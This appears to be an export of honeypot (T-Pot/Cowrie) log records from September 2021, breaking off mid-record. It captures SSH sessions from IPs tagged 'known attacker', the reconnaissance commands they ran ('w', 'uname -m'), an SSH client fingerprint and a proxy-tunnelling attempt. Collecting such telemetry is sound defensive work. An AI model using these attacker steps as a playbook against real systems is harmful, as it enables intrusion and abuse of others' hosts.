20128	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:30.85285+03	2021-09-20 14:15:01.991612+03	{"_id": "KwXgAnwBvYTbRNuEEPgm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:30.852850Z", "@timestamp": "2021-09-20T11:03:30.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20129	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:26.104714+03	2021-09-20 14:15:01.992612+03	{"_id": "BgXgAnwBvYTbRNuEAPiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:26.104714Z", "@timestamp": "2021-09-20T11:03:26.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20130	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:26.105297+03	2021-09-20 14:15:01.994613+03	{"_id": "CQXgAnwBvYTbRNuEAPiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:26.105297Z", "@timestamp": "2021-09-20T11:03:26.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20136	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:28.972296+03	2021-09-20 14:15:02.002613+03	{"_id": "FwXgAnwBvYTbRNuECPid", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:28.972296Z", "@timestamp": "2021-09-20T11:03:28.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20131	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:26.669079+03	2021-09-20 14:15:01.995614+03	{"_id": "CAXgAnwBvYTbRNuEAPiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "81.71.17.12", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5644519329071045, "duplicate": true, "timestamp": "2021-09-20T11:03:26.669079Z", "@timestamp": "2021-09-20T11:03:26.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20132	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:27.066301+03	2021-09-20 14:15:01.996613+03	{"_id": "CgXgAnwBvYTbRNuEBPhs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:27.066301Z", "@timestamp": "2021-09-20T11:03:27.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20133	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:27.066841+03	2021-09-20 14:15:01.998614+03	{"_id": "CwXgAnwBvYTbRNuEBPhs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:27.066841Z", "@timestamp": "2021-09-20T11:03:27.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20134	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:03:27.068323+03	2021-09-20 14:15:01.999612+03	{"_id": "DQXgAnwBvYTbRNuEBPht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 1, "data": "b\\"\\\\x16\\\\x03\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x01\\\\xfc\\\\x03\\\\x03O\\\\xb8\\\\xbe\\\\xd8~\\\\xb2'i\\\\x19Zy\\\\x04\\\\xea\\\\x98QBo\\\\xf1Bx\\\\x8d\\\\xd5\\\\x95vIN\\\\xaa\\\\x85EO\\\\xb1\\\\x19 \\\\xa9a\\\\x1f\\\\xf7u'N\\\\xb7\\\\xd0*\\\\xa3\\\\xa7\\\\x91)z\\\\xbc+\\\\x1c^\\\\xd6c8\\\\xcdC\\\\x8c\\\\xda\\\\x84\\\\tN\\\\x9dNg\\\\x00\\\\x1c\\\\x13\\\\x01\\\\x13\\\\x03\\\\x13\\\\x02\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x01\\\\x97\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x01\\\\x00\\\\x01\\\\x01\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x003\\\\x00k\\\\x00i\\\\x00\\\\x1d\\\\x00 \\\\x00\\\\xf8\\\\xb14\\\\xc3\\\\xe2\\\\xf8J?\\\\xb3\\\\xebGK\\\\xe3h\\\\xd1\\\\xe8\\\\xe4\\\\xfb\\\\xbf\\\\x8b\\\\x91\\\\x8d\\\\xe1\\\\xbcw,&d2\\\\xc4\\\\n\\\\x00\\\\x17\\\\x00A\\\\x04\\\\x8f\\\\x7fA\\\\xda$J\\\\x92\\\\x98\\\\xd0Td\\\\x19\\\\x01\\\\xf2\\\\x97\\\\xacq/\\\\x9a\\\\xf5\\\\xd8\\\\x9d\\\\xaf\\\\x8c\\\\xab\\\\xec~\\\\x086\\\\x9b\\\\xbc\\\\x07\\\\xac\\\\xe2H\\\\x8f\\\\x83\\\\xe4\\\\xcf\\\\xe6\\\\x8a\\\\x97k!\\\\xa7+\\\\x89\\\\xd9\\\\x06\\\\x806=\\\\x07\\\\x88\\\\xf8\\\\xbe\\\\xab8g]PQ\\\\x19\\\\xb7\\\\x00+\\\\x00\\\\t\\\\x08\\\\x7f\\\\x17\\\\x03\\\\x03\\\\x03\\\\x02\\\\x03\\\\x01\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01\\\\x00-\\\\x00\\\\x02\\\\x01\\\\x01\\\\x00\\\\x15\\\\x00\\\\x9e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\"", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 1 to 213.174.157.83:443 with data b\\"\\\\x16\\\\x03\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x01\\\\xfc\\\\x03\\\\x03O\\\\xb8\\\\xbe\\\\xd8~\\\\xb2'i\\\\x19Zy\\\\x04\\\\xea\\\\x98QBo\\\\xf1Bx\\\\x8d\\\\xd5\\\\x95vIN\\\\xaa\\\\x85EO\\\\xb1\\\\x19 \\\\xa9a\\\\x1f\\\\xf7u'N\\\\xb7\\\\xd0*\\\\xa3\\\\xa7\\\\x91)z\\\\xbc+\\\\x1c^\\\\xd6c8\\\\xcdC\\\\x8c\\\\xda\\\\x84\\\\tN\\\\x9dNg\\\\x00\\\\x1c\\\\x13\\\\x01\\\\x13\\\\x03\\\\x13\\\\x02\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x01\\\\x97\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x01\\\\x00\\\\x01\\\\x01\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x003\\\\x00k\\\\x00i\\\\x00\\\\x1d\\\\x00 \\\\x00\\\\xf8\\\\xb14\\\\xc3\\\\xe2\\\\xf8J?\\\\xb3\\\\xebGK\\\\xe3h\\\\xd1\\\\xe8\\\\xe4\\\\xfb\\\\xbf\\\\x8b\\\\x91\\\\x8d\\\\xe1\\\\xbcw,&d2\\\\xc4\\\\n\\\\x00\\\\x17\\\\x00A\\\\x04\\\\x8f\\\\x7fA\\\\xda$J\\\\x92\\\\x98\\\\xd0Td\\\\x19\\\\x01\\\\xf2\\\\x97\\\\xacq/\\\\x9a\\\\xf5\\\\xd8\\\\x9d\\\\xaf\\\\x8c\\\\xab\\\\xec~\\\\x086\\\\x9b\\\\xbc\\\\x07\\\\xac\\\\xe2H\\\\x8f\\\\x83\\\\xe4\\\\xcf\\\\xe6\\\\x8a\\\\x97k!\\\\xa7+\\\\x89\\\\xd9\\\\x06\\\\x806=\\\\x07\\\\x88\\\\xf8\\\\xbe\\\\xab8g]PQ\\\\x19\\\\xb7\\\\x00+\\\\x00\\\\t\\\\x08\\\\x7f\\\\x17\\\\x03\\\\x03\\\\x03\\\\x02\\\\x03\\\\x01\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01\\\\x00-\\\\x00\\\\x02\\\\x01\\\\x01\\\\x00\\\\x15\\\\x00\\\\x9e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\"", "session": "ba384fdfbf58", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:03:27.068323Z", "@timestamp": "2021-09-20T11:03:27.068Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
20135	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:27.624442+03	2021-09-20 14:15:02.001613+03	{"_id": "DgXgAnwBvYTbRNuEBPht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "81.71.17.12", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5582270622253418, "duplicate": true, "timestamp": "2021-09-20T11:03:27.624442Z", "@timestamp": "2021-09-20T11:03:27.624Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21256	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:43.98399+03	2021-09-20 14:15:03.429613+03	{"_id": "_AbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5eaa8a641966", "@version": "1", "duration": 2.7727038860321045, "timestamp": "2021-09-20T11:06:43.983990Z", "@timestamp": "2021-09-20T11:06:43.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20138	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:03:56.708509+03	2021-09-20 14:15:02.004613+03	{"_id": "ygXgAnwBvYTbRNuEdvgM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 118.70.233.117:60958 (192.168.176.2:22) [session: 57ce6324e96a]", "session": "57ce6324e96a", "@version": "1", "protocol": "ssh", "src_port": 60958, "dest_port": 22, "timestamp": "2021-09-20T11:03:56.708509Z", "@timestamp": "2021-09-20T11:03:56.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20139	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:03:56.711373+03	2021-09-20 14:15:02.005613+03	{"_id": "zAXgAnwBvYTbRNuEdvgM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "57ce6324e96a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:03:56.711373Z", "@timestamp": "2021-09-20T11:03:56.711Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20140	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:03:57.846966+03	2021-09-20 14:15:02.007613+03	{"_id": "1QXgAnwBvYTbRNuEefj1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.250:44082 (192.168.176.2:22) [session: 0a2eba02f974]", "session": "0a2eba02f974", "@version": "1", "protocol": "ssh", "src_port": 44082, "dest_port": 22, "timestamp": "2021-09-20T11:03:57.846966Z", "@timestamp": "2021-09-20T11:03:57.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20141	118.70.233.117	109.199.241.180	Fatt	2021-09-20 14:03:56.92225+03	2021-09-20 14:15:02.008613+03	{"_id": "2QXgAnwBvYTbRNuEefj1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "118.70.233.117", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60958, "dest_port": 22, "timestamp": 